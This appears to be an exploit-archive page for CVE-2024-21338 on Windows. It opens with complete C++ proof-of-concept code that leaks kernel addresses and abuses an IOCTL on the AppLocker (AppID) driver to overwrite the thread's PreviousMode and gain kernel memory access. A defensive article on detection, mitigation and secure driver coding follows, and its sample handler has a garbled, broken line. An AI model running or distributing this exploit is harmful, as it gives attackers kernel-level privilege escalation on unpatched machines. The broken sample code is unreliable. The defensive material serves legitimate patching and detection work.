Microsoft Windows 11 - Kernel Privilege Escalation

Exploit Author: Milad karimi Analysis Author: www.bubbleslearn.ir Category: Local Language: C++ Published Date: 2025-04-22

# Exploit Title: Microsoft Windows 11 - Kernel Privilege Escalation
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win, Ubuntu
# CVE : CVE-2024-21338



#include "pch.hpp"
#include "poc.hpp"

// This function is used to set the IOCTL buffer depending on the Windows
version
void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW*
os_info)
{
 os_info->dwOSVersionInfoSize = sizeof(*os_info);
 // Get the OS version
 NTSTATUS status = RtlGetVersion(os_info);
 if (!NT_SUCCESS(status)) {
  log_err("Failed to get OS version!");
  return nullptr;
 }

 log_debug("Windows version detected: %lu.%lu, build: %lu.",
os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber);

 // "PreviousMode" offset in ETHREAD structure
 *k_thread_offset = 0x232;
 // Set the "AipSmartHashImageFile" function buffer depending on the
Windows version
 void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000
  ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10))
  : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11));

 return ioctl_buffer_alloc;
}

// This function is used to get the ETHREAD address through the
SystemHandleInformation method that is used to get the address of the
current thread object based on the pseudo handle -2
UINT_PTR c_poc::get_ethread_address()
{
 // Duplicate the pseudo handle -2 to get the current thread object
 HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2);
 HANDLE h_duplicated_handle = {};

 if (!DuplicateHandle(
  reinterpret_cast<HANDLE>(-1),
  h_current_thread_pseudo,
  reinterpret_cast<HANDLE>(-1),
  &h_duplicated_handle,
  NULL,
  FALSE,
  DUPLICATE_SAME_ACCESS))
 {
  log_err("Failed to duplicate handle, error: %lu", GetLastError());
  return EXIT_FAILURE;
 }

 NTSTATUS status = {};
 ULONG ul_bytes = {};
 PSYSTEM_HANDLE_INFORMATION h_table_info = {};
 // Get the current thread object address
 while ((status = NtQuerySystemInformation(SystemHandleInformation,
h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH)
 {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes));
  else
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes));
 }

 UINT_PTR ptr_token_address = 0;
 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
    h_table_info->Handles[i].HandleValue ==
    reinterpret_cast<USHORT>(h_duplicated_handle)) {
    ptr_token_address =
     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
    break;
   }
  }
 }
 else {
  if (h_table_info) {
   log_err("NtQuerySystemInformation failed, (code: 0x%X)", status);
   NtClose(h_duplicated_handle);
  }
 }

 return ptr_token_address;
}

// This function is used to get the FileObject address through the
SystemHandleInformation method that is used to get the address of the file
object.
UINT_PTR c_poc::get_file_object_address()
{
 // Create a dummy file to get the file object address
 HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt",
  GENERIC_READ | GENERIC_WRITE,
  FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
  CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
 if (h_file == INVALID_HANDLE_VALUE) {
  log_err("Failed to open dummy file, error: %lu", GetLastError());
  return EXIT_FAILURE;
 }

 // Get the file object address
 NTSTATUS status = {};
 ULONG ul_bytes = 0;
 PSYSTEM_HANDLE_INFORMATION h_table_info = NULL;
 while ((status = NtQuerySystemInformation(
  SystemHandleInformation, h_table_info, ul_bytes,
  &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
  else
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);

 }

 UINT_PTR token_address = 0;
 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
    h_table_info->Handles[i].HandleValue ==
    reinterpret_cast<USHORT>(h_file)) {
    token_address =
     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
    break;
   }
  }
 }

 return token_address;
}

// This function is used to get the kernel module address based on the
module name
UINT_PTR c_poc::get_kernel_module_address(const char* target_module)
{
 // Get the kernel module address based on the module name
 NTSTATUS status = {};
 ULONG ul_bytes = {};
 PSYSTEM_MODULE_INFORMATION h_table_info = {};
 while ((status = NtQuerySystemInformation(
  SystemModuleInformation, h_table_info, ul_bytes,
  &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
  else
   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);
 }

 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->ModulesCount; i++) {
   if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) {
    return reinterpret_cast<UINT_PTR>(
     h_table_info->Modules[i].ImageBaseAddress);
   }
  }
 }

 return 0;
}

// This function is used to scan the section for the pattern.
BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID
lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size,
LPVOID* lp_found_address) {
 std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]);
 SIZE_T bytes_read = {};
 if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size,
  &bytes_read)) {
  return false;
 }

 for (SIZE_T i = 0; i < dw_size - pattern_size; i++) {
  if (memcmp(pattern, &buffer[i], pattern_size) == 0) {
   *lp_found_address = reinterpret_cast<LPVOID>(
    reinterpret_cast<DWORD_PTR>(lp_base_address) + i);
   return true;
  }
 }

 return false;
}

// This function is used to find the pattern in the module, in this case
the pattern is the nt!ExpProfileDelete function
UINT_PTR c_poc::find_pattern(HMODULE h_module)
{
 UINT_PTR relative_offset = {};

 auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module);
 auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
  reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew);
 auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers);

 LPVOID lp_found_address = nullptr;

 for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) {
  if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), "PAGE") ==
   0) {
   LPVOID lp_section_base_address =
    reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) +
     p_section_header[i].VirtualAddress);
   SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize;

   // Pattern to nt!ExpProfileDelete
   BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83,
    0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 };
   SIZE_T pattern_size = sizeof(pattern);

   if (this->scan_section_for_pattern(
    GetCurrentProcess(), lp_section_base_address, dw_section_size,
    pattern, pattern_size, &lp_found_address)) {
    relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) -
     reinterpret_cast<UINT_PTR>(h_module);
   }

   break;
  }
 }

 return relative_offset;
}

// This function is used to send the IOCTL request to the driver, in this
case the AppLocker driver through the AipSmartHashImageFile IOCTL
bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t
input_buffer_length)
{
 IO_STATUS_BLOCK io_status = {};
 NTSTATUS status =
  NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status,
   this->IOCTL_AipSmartHashImageFile, input_buffer,
   input_buffer_length, nullptr, 0);
 return NT_SUCCESS(status);
}

// This function executes the exploit
bool c_poc::act() {
 // Get the OS version, set the IOCTL buffer and open a handle to the
AppLocker driver
 OSVERSIONINFOEXW os_info = {};
 size_t offset_of_previous_mode = {};
 auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode,
&os_info);

 if (!ioctl_buffer) {
  log_err("Failed to allocate the correct buffer to send on the IOCTL
request.");
  return false;
 }

 // Open a handle to the AppLocker driver
 OBJECT_ATTRIBUTES object_attributes = {};
 UNICODE_STRING appid_device_name = {};
 RtlInitUnicodeString(&appid_device_name, L"\\Device\\AppID");
 InitializeObjectAttributes(&object_attributes, &appid_device_name,
OBJ_CASE_INSENSITIVE, NULL, NULL, NULL);

 IO_STATUS_BLOCK io_status = {};
 HANDLE h_device = {};
 NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE,
  &object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL,
  FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);

 if (!NT_SUCCESS(status))
 {
  log_debug("Failed to open a handle to the AppLocker driver (%ls) (code:
0x%X)", appid_device_name.Buffer, status);
  return false;
 }

 log_debug("AppLocker (AppId) handle opened: 0x%p", h_device);

 log_debug("Leaking the current ETHREAD address.");

 // Get the ETHREAD address, FileObject address, KernelBase address and the
relative offset of the nt!ExpProfileDelete function
 auto e_thread_address = this->get_ethread_address();
 auto file_obj_address = this->get_file_object_address();

 auto ntoskrnl_kernel_base_address =
this->get_kernel_module_address("ntoskrnl.exe");
 auto ntoskrnl_user_base_address =
LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, NULL);

 if (!e_thread_address && !ntoskrnl_kernel_base_address &&
!ntoskrnl_user_base_address && !file_obj_address)
 {
  log_debug("Failed to fetch the ETHREAD/FileObject/KernelBase addresses.");
  return false;
 }

 log_debug("ETHREAD address leaked: 0x%p", e_thread_address);
 log_debug("Feching the ExpProfileDelete (user cfg gadget) address.");
 auto relative_offset = this->find_pattern(ntoskrnl_user_base_address);
 UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address +
relative_offset);

 ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode);
 log_debug("Current ETHREAD PreviousMode address -> 0x%p", previous_mode);
 log_debug("File object address -> 0x%p", file_obj_address);

 log_debug("kCFG Kernel Base address -> 0x%p",
ntoskrnl_kernel_base_address);
 log_debug("kCFG User Base address -> 0x%p", ntoskrnl_user_base_address);
 log_debug("kCFG Gadget address -> 0x%p", kcfg_gadget_address);

 // Set the IOCTL buffer depending on the Windows version
 size_t ioctl_buffer_length = {};
 CFG_FUNCTION_WRAPPER kcfg_function = {};
 if (os_info.dwBuildNumber < 22000) {
  AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer =
(AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer;

  kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
  // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in
ObfDereferenceObjectWithTag
  UINT_PTR previous_mode_obf = previous_mode + 0x30;

  w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
  w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
  w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10

  ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10);
 }
 else
 {
  AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer =
(AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer;

  kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
  // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in
ObfDereferenceObjectWithTag
  UINT_PTR previous_mode_obf = previous_mode + 0x30;

  w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
  w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
  w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10
  w11_ioctl_buffer->Unknown = NULL; // +0x18

  ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11);
 }

 // Send the IOCTL request to the driver
 log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)");
 char* buffer = (char*)malloc(sizeof(CHAR));
 if (ioctl_buffer)
 {
  log_debug("ioctl_buffer -> 0x%p size: %d", ioctl_buffer,
ioctl_buffer_length);

  if (!this->send_ioctl_request(h_device, ioctl_buffer,
ioctl_buffer_length))
   return false;

  NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer,
(PVOID)previous_mode, sizeof(CHAR), nullptr);
  log_debug("Current PreviousMode -> %d", *buffer);

  // From now on all Read/Write operations will be done in Kernel Mode.
 }

 log_debug("Restoring...");
 // Restores PreviousMode to 1 (user-mode).
 *buffer = 1;
 NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode,
(PVOID)buffer, sizeof(CHAR), nullptr);
 log_debug("Current PreviousMode -> %d", *buffer);

 // Free the allocated memory and close the handle to the AppLocker driver
 free(ioctl_buffer);
 free(buffer);
 NtClose(h_device);


 return true;
}

Microsoft Windows 11 — Kernel Privilege Escalation (CVE-2024-21338): Overview, Risks, and Defenses

Kernel privilege escalation vulnerabilities such as CVE-2024-21338 remind organizations that a single vulnerable kernel-mode driver or poorly validated IOCTL interface can allow elevation from user to SYSTEM or kernel privileges. This article provides a non-actionable, high-level explanation of the vulnerability class, its impact, detection indicators, and practical mitigation and hardening advice for defenders, system administrators, and secure driver developers.

Vulnerability summary

Item	Details
CVE	CVE-2024-21338
Affected software	Windows 11 (kernel / driver component)
Type	Kernel privilege escalation via vulnerable driver IOCTL handling
Impact	Local privilege escalation to SYSTEM / kernel context — enables persistence, credential theft, or bypass of user-level defenses
Recommendation	Apply vendor security updates, remove or update vulnerable drivers, and harden kernel/driver deployment

High-level technical overview (non-actionable)

At a conceptual level, many kernel privilege escalations rely on the combination of a privileged kernel component (usually a third‑party or Microsoft-supplied driver) exposing an IOCTL or other interface that trusts user-supplied data without adequate validation. When a driver passes user-controlled pointers, lengths, or offsets directly into kernel APIs or uses them in control flow without checking, an attacker can coerce the kernel to read or write attacker-controlled memory or execute code paths that elevate privileges.

Typical elements of this vulnerability class include:

Unvalidated user-supplied pointers or lengths in IOCTL handlers.
Direct dereference of user addresses in kernel mode without proper probing/exception handling.
Use of kernel objects (tokens, threads, file objects) with insufficient validation, allowing attackers to obtain or modify privileged structures.
Chaining of kernel “gadgets” or legitimate kernel routines in ways that perform privileged writes or context manipulations.

Why kernel drivers are high-risk

Drivers run in ring 0 (kernel mode) with full access to system memory and privileged kernel APIs. A mistake in driver input validation, pointer handling, or object reference logic can have catastrophic consequences because the kernel trusts driver code implicitly. The presence of signed drivers with bugs on a system means attacker code running at user level can sometimes interact with the driver to escalate privileges.

Impact and business risk

Local attackers (or malware with user privileges) can gain SYSTEM or kernel capabilities, allowing credential theft, process injection, persistence, disabling security controls, and evasion.
Compromise of a single host can provide a foothold to move laterally in enterprise networks where privileged credentials or token impersonation is possible.
Regulatory and compliance consequences if escalation leads to data access or exfiltration.

Detection & forensic indicators (practical, non-actionable guidance)

Detecting exploitation of a kernel privilege escalation requirement focuses on abnormal system behavior and telemetry rather than reproducing the exploit:

Unusual process or service elevations to SYSTEM shortly after a user session.
Suspicious device IO activity: repeated or malformed IOCTL calls to device names (seen in driver telemetry), particularly from non-privileged processes.
Unexpected modifications of kernel memory/structures, anomalous kernel call stacks, or kernel mode writes detected by EDR and kernel integrity monitors.
Indicators in memory forensic captures: new or altered tokens, duplicated handles to kernel objects, or processes running with elevated privileges they did not originally have.
Events showing memory writes to kernel addresses, or use of APIs that allow cross-boundary writes (e.g., NtWriteVirtualMemory) from user-mode processes.

Immediate mitigation steps for administrators

Apply the Microsoft security update(s) that address CVE-2024-21338 as soon as they are available for your platform and build.
Identify and update or remove third‑party drivers on endpoints that match the vulnerable driver signature or vendor identifier.
Enforce driver signing policies and block unsigned or untrusted kernel drivers via Group Policy (Where feasible).
Enable and enforce Secure Boot, Kernel DMA Protection, and other platform protections that raise the bar for kernel tampering.
Use least-privilege practices: restrict who can install or interact with kernel drivers and limit administrator accounts.

Secure driver development best practices

Driver authors and security reviewers should follow defensive patterns to prevent IOCTL-related privilege escalation:

Never trust user pointers; always validate buffer sizes before dereference.
Use structured exception handling (try/except) and ProbeForRead/ProbeForWrite when required by platform guidelines.
Prefer copying user data into paged kernel buffers via safe helper routines rather than directly dereferencing user pointers in arbitrary contexts.
Validate object types and reference counts before operating on kernel objects. Use the documented kernel APIs for safe referencing and dereferencing.
Keep IOCTL interfaces minimal and clearly versioned; avoid complex behaviors that accept arbitrary user-supplied function pointers or offsets.
Perform threat modeling and fuzz testing on IOCTL handlers as part of CI: fuzz invalid lengths, malformed buffers, and boundary conditions.

Example: defensive IOCTL handling pattern (illustrative, non-actionable)

NTSTATUS MyDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    ULONG inLen = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    NTSTATUS status = STATUS_SUCCESS;

    // Minimal required length check
    if (inLen AssociatedIrp.SystemBuffer, inLen, __alignof(BYTE));
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        status = GetExceptionCode();
        goto End;
    }

    // Allocate kernel buffer and copy the data
    PMY_INPUT_STRUCT pInput = ExAllocatePoolWithTag(NonPagedPoolNx, sizeof(MY_INPUT_STRUCT), 'tgIM');
    if (!pInput) {
        status = STATUS_INSUFFICIENT_RESOURCES;
        goto End;
    }
    RtlCopyMemory(pInput, Irp->AssociatedIrp.SystemBuffer, sizeof(MY_INPUT_STRUCT));

    // Validate fields inside pInput (ranges, handles, enum values)
    if (!IsValidEnumValue(pInput->Mode) || pInput->Length > MAX_ALLOWED) {
        status = STATUS_INVALID_PARAMETER;
        ExFreePoolWithTag(pInput, 'tgIM');
        goto End;
    }

    // Perform operation using only validated data...
    ExFreePoolWithTag(pInput, 'tgIM');

End:
    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

Explanation: this pattern enforces a minimum length check, probes the user buffer to catch invalid memory addresses, copies user-supplied data into a kernel-allocated buffer, and validates individual fields before use. These steps reduce the chance of dereferencing attacker-controlled memory or using out-of-range values in privileged contexts.

Long-term hardening recommendations

Inventory kernel drivers across the enterprise and reduce attack surface by uninstalling unused drivers.
Adopt driver whitelisting and code integrity policies for endpoint fleets.
Integrate driver fuzzing and automated IOCTL boundary testing into vendor QA and procurement checks.
Deploy kernel integrity monitoring or Microsoft’s Kernel Controller Monitor capabilities where available.
Train development teams on secure kernel APIs and common pitfalls that lead to escalation.

Incident response playbook (if compromise is suspected)

Isolate affected hosts from the network to prevent lateral movement.
Collect volatile data (memory) and kernel dumps following approved forensic procedures.
Capture driver lists, signed driver hashes, and loaded device names for analysis.
Rollback or remove vulnerable drivers, apply patches, and verify system integrity before returning hosts to production.
Perform credential rotation and audit IAM activity if SYSTEM-level access is suspected.

Mapping to threat frameworks & telemetry

Kernel privilege escalation aligns with common adversary goals in frameworks like MITRE ATT&CK (privilege escalation and defense evasion tactics). Detection telemetry to collect includes kernel-mode call stacks, device IO logs, process token changes, and anomalous driver loads. Correlate these signals with endpoint detection rules and EDR alerts to improve visibility.

Conclusion

CVE-2024-21338 is an example of how a vulnerable kernel driver interface can enable local privilege escalation on Windows 11. While technical exploit write-ups exist for research purposes, defenders should focus on timely patching, driver inventory and removal, enforcing strict driver signing and integrity controls, and improving secure driver development practices. Proactive telemetry and incident response readiness reduce the risk that such a vulnerability will lead to large-scale compromise.

Microsoft Windows 11 - Kernel Privilege Escalation